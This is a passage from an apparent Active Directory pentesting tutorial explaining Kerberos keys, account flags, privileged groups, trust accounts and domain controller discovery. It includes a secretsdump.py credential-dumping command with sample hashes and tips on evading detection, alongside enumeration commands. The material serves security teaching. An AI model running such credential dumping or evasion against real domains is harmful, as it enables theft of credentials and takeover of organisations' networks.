href=\"https:\/\/tools.ietf.org\/html\/rfc3962\">AES256-CTS-HMAC-SHA1-96<\/a> algorithm. This is the one<br \/>\ncommonly used by Kerberos, and the one a pentester should use in order to<br \/>\navoid triggering alarms.<\/li>\n<li>AES 128 key: Used by the <a href=\"https:\/\/tools.ietf.org\/html\/rfc3962\">AES128-CTS-HMAC-SHA1-96<\/a> algorithm.<\/li>\n<li>DES key: Used by the <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc6649\">deprecated<\/a> <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc3961#section-6.2.1\">DES-CBC-MD5<\/a> algorithm.<\/li>\n<li>RC4 key: This is the <a href=\"#lm-nt-hashes\">NT hash<\/a> of the user used by the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4757\">RC4-HMAC<\/a> algorithm.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ secretsdump.py 'contoso.local\/Administrator@192.168.100.2' -just-dc-user mahyar\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\nPassword:\n[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\ncontoso.localanakin:1103:aad3b435b51404eeaad3b435b51404ee:cdeae556dc28c24b5b7b14e9df5b6e21:::\n[*] Kerberos keys grabbed\ncontoso.localanakin:aes256-cts-hmac-sha1-96:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e\ncontoso.localanakin:aes128-cts-hmac-sha1-96:18fe293e673950214c67e9f9fe753198\ncontoso.localanakin:des-cbc-md5:fbba85fbb63d04cb\n[*] Cleaning up...<\/code><\/pre><figcaption>\nKerberos keys extracted from the domain database<br \/>\n<\/figcaption><\/figure>\n<p>These keys can be used in a <a href=\"#pass-the-key\">Pass-The-Key<\/a> attack to retrieve a ticket for the<br \/>\nimpersonated user. Then you can use that Kerberos ticket to authenticate against<br \/>\ndifferent services of the domain on behalf of the user.<\/p>\n<h4 id=\"useraccountcontrol\">\nUserAccountControl<\/h4>\n<p>One interesting property of the user class is the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a> (UAC) (do<br \/>\nnot confuse it with the User Account Control mechanism to avoid executing<br \/>\nelevated programs in Windows machines).<\/p>\n<p>The UserAccountControl property contains a <strong>series of flags<\/strong> that are very<br \/>\nrelevant for the security and the domain and used in many attacks mentioned in<br \/>\nthis post. Here are the most relevant:<\/p>\n<ul>\n<li><strong>ACCOUNTDISABLE<\/strong> -&gt; Account is disabled and cannot be used.<\/li>\n<li><strong>DONT_REQUIRE_PREAUTH<\/strong> -&gt; The account doesn&#8217;t require Kerberos<br \/>\npre-authentication.<\/li>\n<li><strong>NOT_DELEGATED<\/strong> -&gt; This account cannot be delegated through Kerberos<br \/>\ndelegation.<\/li>\n<li><strong>TRUSTED_FOR_DELEGATION<\/strong> -&gt; Kerberos Unconstrained Delegation is enabled for<br \/>\nthis account and its services. <a href=\"http:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> required to modify<br \/>\nit.<\/li>\n<li><strong>TRUSTED_TO_AUTH_FOR_DELEGATION<\/strong> -&gt; The Kerberos S4U2Self extension is enabled<br \/>\nfor this account and its services. <a href=\"http:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> required to modify<br \/>\nit.<\/li>\n<\/ul>\n<h4 id=\"other-user-properties\">\nOther user properties<\/h4>\n<p>There are other properties that can be useful in a pentest:<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-description\">Description<\/a> -&gt; A description of the user. It can give an idea of the<br \/>\npermissions of the user, and sometimes even includes the password.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-admincount\">AdminCount<\/a> -&gt; Indicates if the user (or group) is protected by the<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=1906\">AdminSDHolder<\/a> object, or it has been. Since sometimes is not updated, use<br \/>\nit only as a reference.<\/li>\n<li><strong>MemberOf<\/strong> -&gt; Groups of which the user is a member. This property is logical<br \/>\nand is generated from the groups <strong>Members<\/strong> property.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-primarygroupid\">PrimaryGroupID<\/a> -&gt; The primary group of the user. This group doesn&#8217;t appear in<br \/>\n<strong>MemberOf<\/strong> property.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-serviceprincipalname\">ServicePrincipalName<\/a> -&gt; Services of the user. Can be useful for the Kerberoast<br \/>\nattack.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/86261ca1-154c-41fb-8e5f-c6446e77daaa\">msDS-AllowedToDelegateTo<\/a> -&gt; The list of services for which the user (and its<br \/>\nown services) can impersonate clients using Kerberos Constrained Delegation.<br \/>\n<a href=\"http:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> required to modify it.<\/li>\n<\/ul>\n<h3 id=\"important-users\">\nImportant Users<\/h3>\n<p>To consult the users there are several options, like the <code>net user \/domain<\/code><br \/>\ncommand, or Powershell. There is no need to have an special privilege to list<br \/>\nusers, any user can do it.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADUser -Filter * | select SamAccountName\nSamAccountName\n--------------\nAdministrator\nGuest\nkrbtgt\nmahyar\nhan\nPOKEMON$<\/code><\/pre><figcaption>\nList users with Powershell<br \/>\n<\/figcaption><\/figure>\n<p>As you may notice, my test domain is little with very few users, but in a real<br \/>\nengagement there will be hundreds or thousands of users. So it should be<br \/>\nimportant to distinguish what are the really important. This could be a little<br \/>\ntricky since it depends on the organization, but usually members of the IT team<br \/>\nuse to have privileged users, they need it to do their work.<\/p>\n<p>Moreover, by default the <strong>built-in <code>Administrator<\/code> user is the most privileged<br \/>\naccount of the domain<\/strong>. It can perform any action in any computer. So if you are<br \/>\nable to compromise this account, you can have total control of the domain (and<br \/>\neven the forest by using <a href=\"https:\/\/adsecurity.org\/?p=1640\">the SID history attack<\/a>).<\/p>\n<p>Additionally, the <code>krbtgt<\/code> account is very important too. Its secrets (NT hash<br \/>\nand Kerberos keys) are used to encrypt the tickets (specifically the TGTs) used<br \/>\nby Kerberos that allows to authenticate users. If you are able to compromise<br \/>\nthe <code>krbtgt<\/code> account, you will be able of create <a href=\"https:\/\/en.hackndo.com\/kerberos-silver-golden-tickets\/\">Golden Tickets<\/a>. Usually, this<br \/>\naccount can only be compromised by dumping the domain database, since its only<br \/>\nused in the Domain Controllers, which will require that you have administrator<br \/>\nprivileges in the domain.<\/p>\n<h3 id=\"computer-accounts\">\nComputer accounts<\/h3>\n<p>Another thing to take into account is that in a organization, each person has<br \/>\nits own user, and even certain people like the IT department could have more<br \/>\nthan user per person to perform different tasks. Moreover, also <strong>each computer of<br \/>\nthe domain has its own user<\/strong>, since they also need to perform their own actions<br \/>\nin the domain.<\/p>\n<p>The difference between user accounts and computers accounts is that the firsts<br \/>\nare stored as instances of <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-user\">User class<\/a> in the database whereas the others are<br \/>\nstored as instances of <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-computer\">Computer class<\/a> (which is a subclass of User class).<br \/>\nMoreover the computer accounts names are the computer hostname finished with a<br \/>\ndollar sign <code>$<\/code>.<\/p>\n<p>You can check it by executing the following command:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject -LDAPFilter \"objectClass=User\" -Properties SamAccountName | select SamAccountName\nSamAccountName\n--------------\nAdministrator\nGuest\nDC01$\nkrbtgt\nmahyar\nWS01-10$\nWS02-7$\nDC02$\nhan\nPOKEMON$<\/code><\/pre><figcaption>\nRetrieve all users of the domain<br \/>\n<\/figcaption><\/figure>\n<p>As you can see, there are many more users than using the <code>Get-ADUser<\/code> command,<br \/>\nsince subclasses of User class are now included. You can appreciate that new<br \/>\naccounts finish with a dollar sign and seems to have a computer name. For<br \/>\nexample, <code>DC01$<\/code> and <code>DC02$<\/code> for the Domain Controllers and <code>WS01-10$<\/code> and<br \/>\n<code>WS02-7$<\/code> for the workstations.<\/p>\n<p>Moreover, the computer objects also saved information about their operating<br \/>\nsystem, that can be retrieved from the attributes <code>OperatingSystem<\/code> or<br \/>\n<code>OperatingSystemVersion<\/code>.<\/p>\n<p>Also, many organizations have rules to choose the name of the computers as well<br \/>\nas the users, so if you are able to make sense of the names, you may be aware of<br \/>\nthe use of the computer and user accounts and which of the can be privileged or<br \/>\ncontain access to sensible information. Additionally you can check another<br \/>\nattributes of the objects like <code>Description<\/code> in order to find more information<br \/>\nthere (and even cleartext passwords). The <a href=\"https:\/\/gist.github.com\/HarmJ0y\/184f9822b195c52dd50c379ed3117993\">Find-DomainObjectPropertyOutlier<\/a><br \/>\nCmdlet of <a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a> can be useful for that purpose.<\/p>\n<h3 id=\"trust-accounts\">\nTrust accounts<\/h3>\n<p>However there is also the <code>POKEMON$<\/code> account that appears in both <code>Get-ADUser<\/code><br \/>\nand <code>Get-ADObject<\/code>, but whose name is finished by a dollar sign. That could be<br \/>\nnormal user (there is no problem with creating usernames finished with <code>$<\/code>),<br \/>\nhowever, as we have seen previously, there is a trust with the <code>poke.mon<\/code><br \/>\ndomain.<\/p>\n<p>When an trust is established, an associated user object is created in each<br \/>\ndomain to store the trust key. The name of the user is the NetBIOS name of the<br \/>\nother domain, finished in $ (similar to a computer account name). For example,<br \/>\nin case of the trust between the domains FOO and BAR, the FOO domain would<br \/>\nstore the trust key in the BAR$ user, and the BAR domain would store it in<br \/>\nthe FOO$ user.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADUser  -LDAPFilter \"(SamAccountName=*$)\" | select SamAccountName\nSamAccountName\n--------------\nPOKEMON$<\/code><\/pre><figcaption>\nList trust accounts in domain<br \/>\n<\/figcaption><\/figure>\n<p>This <code>POKEMON$<\/code> user object is used to store the trust keys, which are the<br \/>\nNT hash or Kerberos keys (one of other is used depending on the context). If you<br \/>\ncan <a href=\"Domain database dumping\">get the secrets<\/a> of this account, you can create<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=1588\">inter-realm Kerberos tickets<\/a>.<\/p>\n<h2 id=\"groups\">\nGroups<\/h2>\n<p>But the management of users can be cumbersome without groups. Imagine that you<br \/>\nhave the managers department that needs to access to highly sensitive documents.<br \/>\nShould you give permission to each manager one by one? A lot of work, but you<br \/>\ncan handle it because only a new manager is added each year. But now the policy<br \/>\nchanges and managers should also be able to access to documents of human resources<br \/>\ndepartment. Should you change all the permissions of the managers one by one?<br \/>\nNo, that is too much work, and is pretty bored.<\/p>\n<p>The solution is to use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#default-security-groups\">groups<\/a>. In this case you could have a &#8220;Manager&#8221; group<br \/>\nwhere the manager users are added, and when the policy changes you have to add<br \/>\nor remove permissions for the group.<\/p>\n<p>As well as users, the groups are stored in the domain database. And, in the same<br \/>\nway, they can be identified by the <code>SamAccountName<\/code> attribute or the SID.<\/p>\n<p>You can consult the database in order to list the groups and their members.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADGroup -Filter * | select SamAccountName\nSamAccountName\n--------------\nAdministrators\nUsers\nGuests\n&lt;-- stripped output --&gt;\nDomain Computers\nDomain Controllers\nSchema Admins\nEnterprise Admins\nCert Publishers\nDomain Admins\nDomain Users\n&lt;-- stripped output --&gt;\nProtected Users\nKey Admins\nEnterprise Key Admins\nDnsAdmins\nDnsUpdateProxy\nDHCP Users\nDHCP Administrators<\/code><\/pre><figcaption>\nList groups of the domain<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"important-groups\">\nImportant groups<\/h3>\n<h4 id=\"administrator-groups\">\nAdministrative groups<\/h4>\n<p>In Active Directory there are many <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#default-security-groups\">default groups<\/a> defined for different roles in<br \/>\nthe domain\/forest. As attacker, one of the most juicy groups is the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-domainadmins\">Domain Admins<\/a> group, that gives administrator privileges to its members in the<br \/>\ndomain, so being aware of who is this group is important.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADGroup \"Domain Admins\" -Properties members,memberof\nDistinguishedName : CN=Domain Admins,CN=Users,DC=contoso,DC=local\nGroupCategory     : Security\nGroupScope        : Global\nMemberOf          : {CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local,\n                    CN=Administrators,CN=Builtin,DC=contoso,DC=local}\nMembers           : {CN=Administrator,CN=Users,DC=contoso,DC=local}\nName              : Domain Admins\nObjectClass       : group\nObjectGUID        : ac3ac095-3ea0-4922-8130-efa99ba99afa\nSamAccountName    : Domain Admins\nSID               : S-1-5-21-1372086773-2238746523-2939299801-512<\/code><\/pre><figcaption>\nDomain Admins group information<br \/>\n<\/figcaption><\/figure>\n<p>But there are also other important groups that can give you a lot of privileges,<br \/>\nand ones even more. This is the case of the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-entadmins\">Enterprise Admins<\/a> group, which provides<br \/>\nadministrator privileges in all the forest.<\/p>\n<p>The <code>Enterprise Admins<\/code> is a group that only exists in the root domain of the<br \/>\nforest, but is added by default to the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#administrators\">Administrators<\/a> group of the all the<br \/>\ndomains in the forest.<\/p>\n<p>On the other hand, the <code>Domain Admins<\/code> group is added to the <code>Administrators<\/code><br \/>\ngroup of the domain, as well as the <code>Administrators<\/code> groups of the domain<br \/>\ncomputers.<\/p>\n<figure>\n<pre>                        .------------------------.\n                        |     contoso.local      |\n       .-------------------------------------------------------------.\n       |                                                             |\n       |                   .----------------.                        |  \n       |               .--&gt;| Administrators |&lt;-.   .-&gt;Administrators |\n       |               |   '----------------'  |   |     ____        | \n       |               |    .---------------.  |   |    |    |       |\n       |               |    | Domain Admins |&gt;-'---'    |____|       |\n       |               |    '---------------'           \/::::\/       |\n       |               |   .-------------------.                     |\n       |               '--&lt;| Enterprise Admins |                     |\n       |                   '-------------------'                     |\n       |                             v v                             |\n       '-----------------------------|-|-----------------------------'  \n                           |         | |      |                         \n                           |         | |      |                         \n                 .---------'         | |      '-----------.             \n                 |                   v v                  |             \n.----------------------------------. | | .----------------------------------.\n|        it.contoso.local          | | | |        hr.contoso.local          |\n|----------------------------------| | | |----------------------------------|\n|                                  | v v |                                  |\n|        .----------------.        | | | |        .----------------.        |\n|     .-&gt;| Administrators |&lt;---------' '---------&gt;| Administrators |&lt;-.     |\n|     |  '----------------'        |     |        '----------------'  |     |\n|     |  .---------------.         |     |        .---------------.   |     |\n|     '-&lt;| Domain Admins |         |     |        | Domain Admins |&gt;--'     |\n|        '---------------'         |     |        '---------------'         |\n|                |                 |     |                |                 |\n|        .-------'---------.       |     |        .-------'---------.       |\n|        |                 |       |     |        |                 |       |\n|        v                 v       |     |        v                 v       |\n| Administrators    Administrators |     | Administrators    Administrators |\n|       ____              ____     |     |      ____              ____      |\n|      |    |            |    |    |     |     |    |            |    |     |\n|      |____|            |____|    |     |     |____|            |____|     |\n|      \/::::\/            \/::::\/    |     |     \/::::\/            \/::::\/     |\n'----------------------------------'     '----------------------------------'\n<\/pre><figcaption>\nAdministrators groups memberships in forest<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"other-important-groups\">\nOther important groups<\/h4>\n<p>But there are other <a href=\"https:\/\/adsecurity.org\/?p=3700\">important groups<\/a> to be taken into account:<\/p>\n<dl>\n<dt>\nDNSAdmins<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-dnsadmins\">DNSAdmins<\/a> group can allow to its members to<br \/>\n<a href=\"https:\/\/www.semperis.com\/blog\/dnsadmins-revisited\/\">execute code in Domain Controllers<\/a> as <code>SYSTEM<\/code> by using an arbitrary DLL.<\/dd>\n<dt>\nProtected Users<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/security\/credentials-protection-and-management\/protected-users-security-group\">Protected Users<\/a> group allows to enforce the security<br \/>\nof accounts. Their members are not allowed to:<\/p>\n<ul>\n<li>Authenticate with NTLM (only Kerberos).<\/li>\n<li>Use DES or RC4 encryption types in Kerberos pre-authentication.<\/li>\n<li>Be delegated with unconstrained or constrained delegation.<\/li>\n<li>Renew the Kerberos TGTs beyond the initial four-hour lifetime.<\/li>\n<\/ul>\n<p>This can frustrate attempts to abuse of these account through <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/\">NTLM relay<\/a> or<br \/>\n<a href=\"https:\/\/www.tarlogic.com\/en\/blog\/kerberos-iii-how-does-delegation-work\/\">Kerberos Delegation<\/a> attacks.<\/dd>\n<dt>\nSchema Admins<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#schema-admins\">Schema Admins<\/a> can modify the Active Directory <a href=\"#database\">database<\/a><br \/>\nschema.<\/dd>\n<dt>\nAccount Operators<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-accountoperators\">Account Operators<\/a> group can modify the members of<br \/>\nmany groups of the domain, excluding many of the administrators groups.<br \/>\nHowever it can modify the Server Operators group.<\/dd>\n<dt>\nBackup Operators<\/dt>\n<dd>The members of <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#backup-operators\">Backup Operators<\/a> can back up and restore<br \/>\nfiles in Domain Controllers (they also can log in to them). This could allow<br \/>\nto modify files in Domain Controllers.<\/dd>\n<dt>\nPrint Operators<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#print-operators\">Print Operators<\/a> can log into the Domain Controllers.<\/dd>\n<dt>\nServer Operators<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#server-operators\">Server Operators<\/a> can log on in Domain Controllers and<br \/>\nmanage its configuration.<\/dd>\n<dt>\nRemote Desktop Users<\/dt>\n<dd>The members of <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-remotedesktopusers\">Remote Desktop Users<\/a> can log on in a<br \/>\nDomain Controller through <a href=\"#rdp\">RDP<\/a>.<\/dd>\n<dt>\nGroup Policy Creator Owners<\/dt>\n<dd>The members of <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#group-policy-creator-owners\">Group Policy Creator Owners<\/a> can<br \/>\nedit <a href=\"#group-policy\">GPOs<\/a> in the domain.<\/dd>\n<\/dl>\n<p>There are many other <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#replicator\">groups described in Microsoft docs<\/a>. Moreover, many<br \/>\norganizations add custom groups that can be also very privileged, like those<br \/>\nused by the IT members.<\/p>\n<p>Moreover, many software (especially Microsoft software) add its own groups for<br \/>\nmanagement, like <a href=\"#exchange\">Exchange<\/a>, that can <a href=\"https:\/\/adsecurity.org\/?p=4119\">add privileged groups<\/a> like<br \/>\n<code>Exchange Windows Permissions<\/code>, that can allow an user to perform a DCSync<br \/>\nattack (if not correctly updated).<\/p>\n<h3 id=\"group-scope\">\nGroup Scope<\/h3>\n<p>In Active Directory there are three different types of groups based on <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#group-scope\">their<br \/>\nscope<\/a>. To understand them will allow to comprehend how domains and forest can be<br \/>\nmanaged:<\/p>\n<ul>\n<li>The <strong>Universal groups<\/strong>, that can have members from the same forests and grant<br \/>\npermissions in the same forest or trusted forests. The <code>Enterprise Admins<\/code><br \/>\ngroup is an example of Universal group.<\/li>\n<li>The <strong>Global groups<\/strong>, that can only have members of the same domain, and grants<br \/>\npermissions in domains of the same forest or trusting domains or forests. The<br \/>\n<code>Domain Admins<\/code> group is an example of Global group.<\/li>\n<li>Finally, the <strong>DomainLocal groups<\/strong> can have members from the domain or any<br \/>\ntrusted domain and grants permissions only in their domains. The<br \/>\n<code>Administrators<\/code> group is an example of DomainLocal groups.<\/li>\n<\/ul>\n<p>Apart from that, you should be also know that <strong>domain groups (and domain users)<br \/>\ncan be members of computer local groups<\/strong>. For example, the <code>Domain Admins<\/code> group<br \/>\nis added by default to the <code>Administrators<\/code> local group of a machine.<\/p>\n<h2 id=\"computers\">\nComputers<\/h2>\n<p>Of course, the computers are central a piece of Active Directory. As we have<br \/>\nsaid, they are the machines were all the operations occurs, but also users of<br \/>\nthe Active Directory, that needs to be connected with the Domain Controllers.<\/p>\n<p>In every domain there are three types of computers:<\/p>\n<ul>\n<li><strong>Domain Controllers<\/strong>: The central servers that manage the domain. They are<br \/>\nWindows Server machines.<\/li>\n<li><strong>Workstations<\/strong>: The personal computers used by people every day. These<br \/>\nmachines are usually Windows 10 or 7 machines.<\/li>\n<li><strong>Servers<\/strong>: The computers that offers services such as webs, files or<br \/>\ndatabases. They are usually Linux or Windows Server machines.<\/li>\n<\/ul>\n<h3 id=\"domain-controllers\">\nDomain Controllers<\/h3>\n<p>The Domain Controller, as we have said, is the <strong>central server of a domain<\/strong>,<br \/>\nthat is running the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/identity\/ad-ds\/get-started\/virtual-dc\/active-directory-domain-services-overview\">Active Directory Domain Service<\/a> (AD DS). That means that is<br \/>\nresponsible of keeping the domain database with all the information about domain<br \/>\nobjects and offering the Active Directory services, such as authentication,<br \/>\nauthorization, name resolution, etc. Is a Windows Server machine.<\/p>\n<p>The database is stored in the file <code>C:WindowsNTDSntds.dit<\/code> of<br \/>\nthe domain controllers. Therefore if someone steals this file, she can access to<br \/>\nall the information about the objects of the domain (computers, users, group,<br \/>\npolicies, etc), including users credentials. Therefore, the access to this file,<br \/>\nand to the Domain Controllers should be restricted to the domain administrators.<\/p>\n<p>This contrasts with the fact that <strong>any computer in the domain must be able to<br \/>\ntalk with the Domain Controller<\/strong> in order to ask for information of this<br \/>\ndatabase. So the Domain Controller (at least one of them) should be reachable<br \/>\nfrom any part of the network.<\/p>\n<p>Usually, in a domain there is more than one Domain Controller, in order to<br \/>\ndistribute the workload and prevent single point of failures. Additionally, as<br \/>\nany other database server, Domain Controllers must be synchronized with each<br \/>\nother to keep the data up to date.<\/p>\n<p>Moreover, in order to allow computers and users to access the database data, the<br \/>\nDomain Controllers provides a series of services like DNS, Kerberos, LDAP, SMB,<br \/>\nRPC, etc.<\/p>\n<h4 id=\"domain-controllers-discovery\">\nDomain Controllers discovery<\/h4>\n<p>It is clear that domains controller are one of the most important pieces of<br \/>\nActive Directory, and due to this, they are often targeted in a pentest, so it<br \/>\nis important to identify them, which is not very difficult.<\/p>\n<p>Due to the wide range of services offered by the domain controller, there are<br \/>\nmany ways to identify the domain controllers of a domain.<\/p>\n<p>One possibility that doesn&#8217;t require any type of authentication is to make a<br \/>\nsimple <strong>DNS query asking for the LDAP servers<\/strong> of the domain (which are the<br \/>\ndomain controllers):<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local\nServer:  UnKnown\nAddress:  192.168.100.2\n_ldap._tcp.dc._msdcs.contoso.local      SRV service location:\n          priority       = 0\n          weight         = 100\n          port           = 389\n          svr hostname   = dc01.contoso.local\n_ldap._tcp.dc._msdcs.contoso.local      SRV service location:\n          priority       = 0\n          weight         = 100\n          port           = 389\n          svr hostname   = dc02.contoso.local\ndc01.contoso.local      internet address = 192.168.100.2\ndc02.contoso.local      internet address = 192.168.100.3<\/code><\/pre><figcaption>\nDNS query to identify domain controllers<br \/>\n<\/figcaption><\/figure>\n<p>Also, you can use some system utility like <code>nltest<\/code> to get the domain<br \/>\ncontrollers, but you require have an user.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; nltest \/dclist:contoso.local\nGet list of DCs in domain 'contoso.local' from '\\dc01.contoso.local'.\n    dc01.contoso.local [PDC]  [DS] Site: Default-First-Site-Name\n    dc02.contoso.local        [DS] Site: Default-First-Site-Name\nThe command completed successfully<\/code><\/pre><figcaption>\nIdentify domain controllers with nltest<br \/>\n<\/figcaption><\/figure>\n<p>Moreover, if you do a port scan of a machine and the result is similar to the<br \/>\nfollowing, surely is a domain controller:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ nmap 192.168.100.2 -Pn -sV -p-\nHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-05-04 11:17 CEST\nNmap scan report for 192.168.100.2\nHost is up (0.00068s latency).\nNot shown: 65509 filtered ports\nPORT      STATE SERVICE       VERSION\n42\/tcp    open  tcpwrapped\n53\/tcp    open  domain        Simple DNS Plus\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  tcpwrapped\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)\n3269\/tcp  open  tcpwrapped\n3389\/tcp  open  ms-wbt-server Microsoft Terminal Services\n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n9389\/tcp  open  mc-nmf        .NET Message Framing\n49666\/tcp open  msrpc         Microsoft Windows RPC\n49667\/tcp open  msrpc         Microsoft Windows RPC\n49668\/tcp open  msrpc         Microsoft Windows RPC\n49670\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49671\/tcp open  msrpc         Microsoft Windows RPC\n49673\/tcp open  msrpc         Microsoft Windows RPC\n49676\/tcp open  msrpc         Microsoft Windows RPC\n49677\/tcp open  msrpc         Microsoft Windows RPC\n49680\/tcp open  msrpc         Microsoft Windows RPC\n49685\/tcp open  msrpc         Microsoft Windows RPC\n49707\/tcp open  msrpc         Microsoft Windows RPC\nService Info: Host: DC01; OS: Windows; CPE: cpe:\/o:microsoft:windows\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 164.31 seconds<\/code><\/pre><figcaption>\nNmap service scan of a Domain Controller<br \/>\n<\/figcaption><\/figure>\n<p>This output show a lot of ports open. Here is a brief description of the service<br \/>\noffer by each port:<\/p>\n<ul>\n<li>42 -&gt; <a href=\"#netbios-name-service\">WINS<\/a>: Centralized service to resolve NetBIOS names to IP addresses.<\/li>\n<li>53 -&gt; <a href=\"#dns\">DNS<\/a>: Service to resolve DNS names to IP addresses.<\/li>\n<li>88 -&gt; <a href=\"#kerberos\">Kerberos<\/a>: Used to provide Kerberos authentication to users.<\/li>\n<li>135 -&gt; <a href=\"#rpc\">RPC<\/a> Endpoint Mapper: RPC service used to find the RPC endpoints for<br \/>\ndifferent RPC services.<\/li>\n<li>139 -&gt; <a href=\"#netbios\">NetBIOS<\/a> Session Service: An old alternative to TCP used by Windows<br \/>\ncomputers. It allows to transport protocols like SMB or RPC.<\/li>\n<li>389 -&gt; <a href=\"#ldap\">LDAP<\/a>: Used to query\/edit the <a 